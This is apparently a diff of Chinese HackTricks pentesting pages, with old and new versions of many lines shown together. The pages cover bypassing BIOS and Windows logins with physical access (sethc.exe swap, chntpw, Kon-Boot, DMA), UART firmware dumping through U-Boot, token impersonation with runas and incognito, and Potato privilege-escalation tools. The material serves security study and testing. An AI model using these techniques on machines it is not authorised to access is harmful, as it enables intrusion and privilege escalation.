* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的侵害。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## BIOS密码恢复和系统安全
**重置BIOS**可以通过多种方式实现。大多数主板包括一个**电池**,将其拔出约**30分钟**后将重置BIOS设置包括密码。另外可以通过调整主板上的**跳线**连接特定引脚来重置这些设置。
**重置BIOS**可以通过多种方式实现。大多数主板包括一个**电池**,将其拔出约**30分钟**后将重置BIOS设置包括密码。或者,可以通过调整主板上的**跳线**连接特定引脚来重置这些设置。
在无法或不实际进行硬件调整的情况下,**软件工具**提供了解决方案。使用像**Kali Linux**这样的发行版从**Live CD/USB**运行系统可访问工具如**_killCmos_**和**_CmosPWD_**可帮助恢复BIOS密码。
在无法进行硬件调整或不切实际的情况下,**软件工具**提供了解决方案。使用像**Kali Linux**这样的发行版从**Live CD/USB**运行系统可访问工具如**_killCmos_**和**_CmosPWD_**这些工具帮助恢复BIOS密码。
在BIOS密码不知道的情况下连续**三次**输入错误密码通常会导致错误代码。此代码可用于类似[https://bios-pw.org](https://bios-pw.org)的网站,以潜在地检索可用密码。
不知道BIOS密码的情况下连续**三次**输入错误密码通常会导致错误代码。此代码可用于类似[https://bios-pw.org](https://bios-pw.org)的网站,以潜在地检索可用密码。
### UEFI安全
@ -34,13 +48,13 @@ RAM在断电后会短暂保留数据通常为**1到2分钟**。通过应用
### 直接内存访问DMA攻击
**INCEPTION**是一种通过DMA进行**物理内存操作**的工具,兼容接口如**FireWire**和**Thunderbolt**。它允许通过修补内存以接受任何密码来绕过登录程序。但是,对**Windows 10**系统无效。
**INCEPTION**是一种通过DMA进行物理内存操作的工具兼容接口如**FireWire**和**Thunderbolt**。它允许通过修补内存以接受任何密码来绕过登录程序。但是,对**Windows 10**系统无效。
### Live CD/USB用于系统访问
更改系统二进制文件如**_sethc.exe_**或**_Utilman.exe_**为**_cmd.exe_**的副本可以提供具有系统特权的命令提示符。可以使用像**chntpw**这样的工具来编辑Windows安装的**SAM**文件,从而允许更改密码。
更改系统二进制文件,如**_sethc.exe_**或**_Utilman.exe_**,使用**_cmd.exe_**的副本可以提供具有系统特权的命令提示符。可以使用诸如**chntpw**之类的工具来编辑Windows安装的**SAM**文件,从而允许更改密码。
**Kon-Boot**是一种工具通过临时修改Windows内核或UEFI可帮助登录Windows系统而无需知道密码。更多信息可在[https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)找到
**Kon-Boot**是一种工具通过临时修改Windows内核或UEFI帮助登录Windows系统而无需知道密码。更多信息请访问[https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)。
### 处理Windows安全功能
@ -64,18 +78,4 @@ RAM在断电后会短暂保留数据通常为**1到2分钟**。通过应用
### 社会工程学用于添加恢复密钥
可以通过社会工程学策略添加新的BitLocker恢复密钥说服用户执行一个添加由零组成的新恢复密钥的命令从而简化解密过程。
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
可以通过社会工程学策略添加新的BitLocker恢复密钥说服用户执行一个命令该命令添加由零组成的新恢复密钥从而简化解密过程。

View file

@ -7,20 +7,34 @@
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 基本信息
UART是一种串行协议意味着它以一位一次的方式在组件之间传输数据。相比之下并行通信协议通过多个通道同时传输数据。常见的串行协议包括RS-232、I2C、SPI、CAN、Ethernet、HDMI、PCI Express和USB。
通常情况下当UART处于空闲状态时线路保持高电平逻辑1值。然后为了表示数据传输的开始发送器向接收器发送起始位在此期间信号保持低电平逻辑0值。接下来发送器发送包含实际消息的五到八个数据位接着是一个可选的奇偶校验位和一个或两个停止位逻辑1值具体取决于配置。奇偶校验位用于错误检查在实践中很少见。停止位或位表示传输结束。
通常在UART处于空闲状态时线路保持高电平逻辑1值。然后为了信号化数据传输的开始发送器向接收器发送起始位此时信号保持低电平逻辑0值。接下来发送器发送包含实际消息的五到八个数据位然后是一个可选的奇偶校验位和一个或两个停止位逻辑1值具体取决于配置。奇偶校验位用于错误检查在实践中很少见。停止位或位表示传输结束。
我们称最常见的配置为8N1八个数据位无奇偶校验位一个停止位。例如如果我们想在8N1 UART配置中发送字符C或ASCII中的0x43我们将发送以下位0起始位0、1、0、0、0、0、1、1二进制中的0x43值以及0停止位
我们称最常见的配置为8N1八个数据位无奇偶校验位一个停止位。例如如果我们想在8N1 UART配置中发送字符C或ASCII中的0x43我们将发送以下位0起始位0、1、0、0、0、0、1、1二进制0x43以及0停止位
![](<../../.gitbook/assets/image (761).png>)
@ -32,22 +46,22 @@ UART是一种串行协议意味着它以一位一次的方式在组件之间
### 识别UART端口
UART有4个端口**TX**(发送)、**RX**(接收)、**Vcc**(电压)和**GND**(地线。您可能会在PCB上找到带有**`TX`**和**`RX`**字样的4个端口。但如果没有指示您可能需要使用**万用表****逻辑分析仪**自行查找。
UART有4个端口**TX**(发送)、**RX**(接收)、**Vcc**(电压)和**GND**。您可能会在PCB上找到带有**`TX`**和**`RX`**字样的4个端口。但如果没有指示您可能需要使用万用表或逻辑分析仪自行查找。
使用**万用表**和设备关闭电源:
* 使用**连续性测试**模式识别**GND**引脚,将后端插入地线并用红色探针测试,直到听到万用表发出声音。PCB上可能有几个GND引脚因此您可能已经找到或未找到属于UART的引脚。
* 要识别**VCC端口**,设置**直流电压模式**并将其设置为20V电压。黑色探针接地红色探针接引脚。打开设备电源。如果万用表测量到3.3V或5V的恒定电压则找到了Vcc引脚。如果获得其他电压试其他端口。
* 使用**连续性测试**模式识别**GND**引脚,将后端插入地线并用红色探针测试,直到听到万用表发出声音。在PCB上可能会找到几个GND引脚因此您可能已经找到或未找到属于UART的引脚。
* 要识别**VCC端口**,设置**直流电压模式**并将其设置为20V电压。黑色探针接地红色探针接引脚。打开设备电源。如果万用表测量到3.3V或5V的恒定电压则找到了Vcc引脚。如果获得其他电压试其他端口。
* 要识别**TX** **端口****直流电压模式**最高20V电压黑色探针接地红色探针接引脚打开设备电源。如果发现电压在几秒钟内波动然后稳定在Vcc值您很可能找到了TX端口。这是因为在上电时它会发送一些调试数据。
* **RX端口**将是其他3个端口中最接近的一个其电压波动最小总体值最低。
您可以混淆TX和RX端口不会发生任何事情但如果混淆GND和VCC端口可能会损坏电路。
您可以混淆TX和RX端口不会发生任何事情但如果混淆GND和VCC端口可能会烧毁电路。
在某些目标设备中制造商通过禁用RX或TX甚至两者中的一个来禁用UART端口。在这种情况下追踪电路板中的连接并找到一些分支点可能会有所帮助。关于确认未检测到UART和电路断开的强烈提示是检查设备保修。如果设备已经附带了一些保修制造商会留下一些调试接口在本例中为UART因此必须已经断开了UART并且在调试时会重新连接。这些分支引脚可以通过焊接或跳线线连接。
在某些目标设备中制造商通过禁用RX或TX甚至两者来禁用UART端口。在这种情况下追踪电路板中的连接并找到一些分支点可能会有所帮助。关于确认未检测到UART和电路断开的强烈提示是检查设备保修。如果设备已经附带了一些保修制造商会留下一些调试接口在本例中为UART因此必须已经断开了UART并且在调试时会重新连接。这些分支引脚可以通过焊接或跳线线连接。
### 识别UART波特率
识别正确波特率的最简单方法是查看**TX引脚的输出并尝试读取数据**。如果收到的数据无法读取请切换到下一个可能的波特率直到数据可读。您可以使用USB转串口适配器或与辅助脚本配对的多功能设备如Bus Pirate来执行此操作例如[baudrate.py](https://github.com/devttys0/baudrate/)。最常见的波特率是9600、38400、19200、57600和115200。
识别正确波特率的最简单方法是查看**TX引脚的输出并尝试读取数据**。如果收到的数据无法读取请切换到下一个可能的波特率直到数据可读。您可以使用USB转串口适配器或与辅助脚本配对的多功能设备例如[baudrate.py](https://github.com/devttys0/baudrate/)Bus Pirate来执行此操作。最常见的波特率为9600、38400、19200、57600和115200。
{% hint style="danger" %}
重要提示在此协议中您需要将一个设备的TX连接到另一个设备的RX
@ -67,23 +81,23 @@ ls /dev/
```
picocom /dev/<adapter> --baud <baudrate>
```
对于 minicom使用以下命令进行配置:
对于minicom使用以下命令进行配置
```
minicom -s
```
配置`串口设置`选项中的波特率和设备名称等设置
配置`串行端口设置`选项中的波特率和设备名称。
配置完成后,使用`minicom`命令启动UART控制台。
## 通过Arduino UNO R3进行UART连接可拆卸Atmel 328p芯片板
如果没有UART串行到USB适配器可用可以使用Arduino UNO R3进行快速黑客。由于Arduino UNO R3通常随处可得这可以节省大量时间。
如果没有UART串行到USB适配器可用可以通过快速hack使用Arduino UNO R3。由于Arduino UNO R3通常随处可得这可以节省大量时间。
Arduino UNO R3板上已经内置了USB到串行适配器。要获得UART连接只需从板上拔下Atmel 328p微控制器芯片。这个黑客方法适用于Arduino UNO R3变种其上没有焊接Atmel 328p芯片SMD版本。将Arduino的RX引脚数字引脚0连接到UART接口的TX引脚将Arduino的TX引脚数字引脚1连接到UART接口的RX引脚。
Arduino UNO R3板上已经内置了USB到串行适配器。要获得UART连接只需从板上拔下Atmel 328p微控制器芯片。这个hack适用于Arduino UNO R3变种其上没有焊接Atmel 328p芯片采用SMD版本。将Arduino的RX引脚数字引脚0连接到UART接口的TX引脚将Arduino的TX引脚数字引脚1连接到UART接口的RX引脚。
最后建议使用Arduino IDE获取串行控制台。在菜单中的`工具`部分中,选择`串行控制台`选项并根据UART接口设置波特率。
## 怪盗船长
## 怪盗海盗
在这种情况下我们将窃取Arduino的UART通信该通信将所有程序打印发送到串行监视器。
```bash
@ -157,42 +171,54 @@ Escritura inicial completada:
AAA Hi Dreg! AAA
waiting a few secs to repeat....
```
## 使用UART控制台转储固件
## 通过UART控制台转储固件
UART控制台为在运行时环境中处理底层固件提供了一个很好的方式。但是当UART控制台访问是只读时可能会引入很多限制。在许多嵌入式设备中固件存储在EEPROM中并在具有易失性内存的处理器中执行。因此固件保持为只读因为在制造过程中原始固件位于EEPROM内部任何新文件都会由于易失性内存而丢失。因此在处理嵌入式固件时转储固件是一项有价值的工作。
有许多方法可以做到这一点SPI部分涵盖了使用各种设备直接从EEPROM提取固件的方法。尽管如此建议首先尝试使用UART转储固件因为使用物理设备和外部交互转储固件可能存在风险。
从UART控制台转储固件需要首先访问引导加载程序。许多知名供应商使用<u>uboot</u>(通用引导加载程序)作为加载Linux的引导加载程序因此访问<u>uboot</u>是必要的。
从UART控制台转储固件需要首先访问引导加载程序。许多知名供应商使用<u>uboot</u>(通用引导加载程序)作为其引导加载程序来加载Linux。因此访问<u>uboot</u>是必要的。
要访问<u>boot</u>引导加载程序请将UART端口连接到计算机并使用任何串行控制台工具并保持设备的电源断开。设置准备就绪后按下并保持Enter键。最后,连接设备的电源并让其引导。
要访问<u>boot</u>引导加载程序请将UART端口连接到计算机并使用任何串行控制台工具并保持设备的电源断开。设置准备就绪后按下回车键并保持按住。最后,连接设备的电源并让其引导。
这样做将中断<u>uboot</u>的加载并提供一个菜单。建议了解<u>uboot</u>命令并使用帮助菜单列出它们。这可能是`help`命令。由于不同供应商使用不同的配置,有必要分别了解每个供应商的配置。
这样做将中断<u>uboot</u>的加载并提供一个菜单。建议了解<u>uboot</u>命令并使用帮助菜单列出它们。这可能是`help`命令。由于不同供应商使用不同的配置,因此有必要分别了解每个供应商的配置。
通常,转储固件的命令是:
```
md
```
这代表着"内存转储"。这将在屏幕上转储内存EEPROM内容。建议在开始过程之前记录串行控制台输出以捕获内存转储。
which stands for "memory dump". This will dump the memory (EEPROM Content) on the screen. It is recommended to log the Serial Console output before starting the proceedure to capture the memory dump.
最后,只需从日志文件中剥离所有不必要的数据,并将文件存储为`filename.rom`然后使用binwalk提取内容
Finally, just strip out all the unnecessary data from the log file and store the file as `filename.rom` and use binwalk to extract the contents:
```
binwalk -e <filename.rom>
```
这将列出根据在hex文件中找到的签名可能的EEPROM内容。
尽管如此,需要注意的是,即使正在使用,也不总是情况<b>uboot</b>解锁。如果按Enter键没有任何反应请检查其他键如空格键等。如果引导加载程序已锁定且无法中断则此方法将无效。要检查<b>uboot</b>是否为设备的引导加载程序请在设备启动时检查UART控制台上的输出。在启动时可能会提到<b>uboot</b>
尽管如此,需要注意的是,即使正在使用,也不总是情况<b>uboot</b>解锁。如果按Enter键没有任何反应请检查不同的键如空格键等。如果引导加载程序已锁定且无法中断则此方法将无效。要检查<b>uboot</b>是否为设备的引导加载程序请在设备启动时检查UART控制台上的输出。它可能在启动时提到<b>uboot</b>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**损害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,23 +1,36 @@
# Access Tokens
# 访问令牌
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中宣传**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中被广告**吗?或者您想访问**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 访问令牌
每个**登录到系统的用户**都持有一个包含该登录会话安全信息的访问令牌。当用户登录时,系统会创建一个访问令牌。**代表用户执行的每个进程**都有访问令牌的副本。该令牌标识用户、用户所属的组以及用户的特权。令牌还包含一个标识当前登录会话的登录SID安全标识符
您可以通过执行 `whoami /all` 查看此信息
每个**登录到系统的用户**都持有一个包含该登录会话的安全信息的访问令牌。当用户登录时,系统会创建一个访问令牌。**代表用户执行的每个进程**都有访问令牌的副本。该令牌标识用户、用户的组和用户的特权。令牌还包含一个标识当前登录会话的登录SID安全标识符
您可以通过执行`whoami /all`查看此信息。
```
whoami /all
@ -61,47 +74,42 @@ SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
```
或者使用Sysinternals的_Process Explorer_选择进程并访问"Security"选项卡):
或者使用来自Sysinternals的\_Process Explorer\_选择进程并访问“安全”选项卡
![](<../../.gitbook/assets/image (321).png>)
![](<../../.gitbook/assets/image (769).png>)
### 本地管理员
当本地管理员登录时,**会创建两个访问令牌**:一个具有管理员权限,另一个具有普通权限。**默认情况下**,当此用户执行进程时,将使用具有**常规**(非管理员)**权限的令牌**。当此用户尝试以管理员身份执行任何操作(例如“以管理员身份运行”)时,将使用**UAC**来请求权限。\
如果您想[**了解更多关于UAC的信息请阅读此页面**](../authentication-credentials-uac-and-efs/#uac)**。**
当本地管理员登录时,**会创建两个访问令牌**:一个具有管理员权限,另一个具有普通权限。**默认情况下**,当此用户执行进程时,将使用具有**常规**(非管理员)**权限的令牌**。当此用户尝试以管理员身份执行任何操作(例如"以管理员身份运行")时,将使用**UAC**请求权限。\
如果您想[**了解更多关于UAC的信息请阅读此页面**](../authentication-credentials-uac-and-efs/#uac)**。**
### 凭据用户模拟
如果您拥有**任何其他用户的有效凭据**,您可以使用这些凭据**创建**一个**新的登录会话**
```
runas /user:domain\username cmd.exe
```
**访问令牌**还具有对**LSASS**中登录会话的**引用**,如果进程需要访问网络中的某些对象,这将非常有用。\
您可以启动一个进程,使用以下方法**使用不同的凭据访问网络服务**
您可以启动一个进程,使用以下方式**使用不同的凭据访问网络服务**
```
runas /user:domain\username /netonly cmd.exe
```
这在您拥有访问网络中对象的有效凭据,但这些凭据在当前主机内无效时非常有用(因为它们仅在网络中使用,在当前主机中将使用当前用户权限)。
这在您拥有访问网络中对象的有效凭据,但这些凭据在当前主机内无效时非常有用(因为它们仅在网络中使用,在当前主机中将使用您当前的用户权限)。
### 令牌类型
有两种类型的令牌可用
有两种类型的可用令牌:
* **主令牌**:它作为进程安全凭据的表示。主令牌的创建和与进程的关联是需要提升的特权的操作,强调特权分离的原则。通常,认证服务负责令牌的创建,而登录服务处理其与用户操作系统 shell 的关联。值得注意的是,进程在创建时继承其父进程的主令牌。
* **模拟令牌**:使服务器应用程序能够暂时采用客户端的身份以访问安全对象。此机制分为四个操作级别:
* **匿名**:授予服务器访问权限,类似于未经识别的用户。
* **标识**:允许服务器验证客户端的身份,而无需将其用于对象访问。
* **模拟**:使服务器能够以客户端身份运行。
* **委派**:类似于模拟,但包括将此身份假设扩展到服务器与之交互的远程系统的能力,确保凭据保留。
- **主令牌**:它作为进程安全凭据的表示。主令牌的创建和与进程的关联是需要提升的特权的操作,强调特权分离的原则。通常,认证服务负责令牌的创建,而登录服务处理其与用户操作系统 shell 的关联。值得注意的是,进程在创建时继承其父进程的主令牌。
- **模拟令牌**:赋予服务器应用程序临时采用客户端身份以访问安全对象的能力。此机制分为四个操作级别:
- **匿名**:授予服务器访问权限,类似于未经识别的用户。
- **标识**:允许服务器验证客户端的身份,而无需将其用于对象访问。
- **模拟**:使服务器能够以客户端身份运行。
- **委派**:类似于模拟,但包括将此身份假设扩展到服务器与之交互的远程系统的能力,确保凭据保留。
#### 模拟令牌
使用 metasploit 的 _**incognito**_ 模块,如果您拥有足够的权限,可以轻松**列出**和**模拟**其他**令牌**。这对于以其他用户身份执行操作非常有用。您还可以使用此技术**提升权限**。
使用 metasploit 的 _**incognito**_ 模块,如果您拥有足够的权限,可以轻松**列出**和**模拟**其他**令牌**。这对于以其他用户身份执行操作非常有用。您还可以通过此技术**提升权限**。
### 令牌特权
@ -113,6 +121,30 @@ runas /user:domain\username /netonly cmd.exe
查看[**所有可能的令牌特权以及有关此外部页面的一些定义**](https://github.com/gtworek/Priv2Admin)。
## 参考资料
## 参考
在这些教程中了解更多关于令牌的知识:[https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) 和 [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
在这些教程中了解更多关于令牌的信息:[https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) 和 [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。
WhiteIntel 的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 您在**网络安全公司**工作吗? 想要在 HackTricks 中看到您的**公司广告**吗? 或者您想要**获取最新版本的 PEASS 或下载 PDF 版本的 HackTricks** 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我**。
- 通过向 [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) 和 [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧。
</details>

View file

@ -4,41 +4,55 @@
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中宣传**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFT收藏品](https://opensea.io/collection/the-peass-family)
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群组** 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以在他们的网站上免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
{% hint style="warning" %}
**JuicyPotato在Windows Server 2019和Windows 10版本1809及更高版本上无法运行**。但是,可以使用[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、**[**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、**[**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)来利用相同的特权并获得`NT AUTHORITY\SYSTEM`级别访问。_**查看:**_
**JuicyPotato在** Windows Server 2019 和 Windows 10 版本1809及更高版本上**不起作用**。 但是,可以使用[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、**[**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、**[**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) **利用相同的权并获得`NT AUTHORITY\SYSTEM`**级别访问。 _**查看:**_
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %}
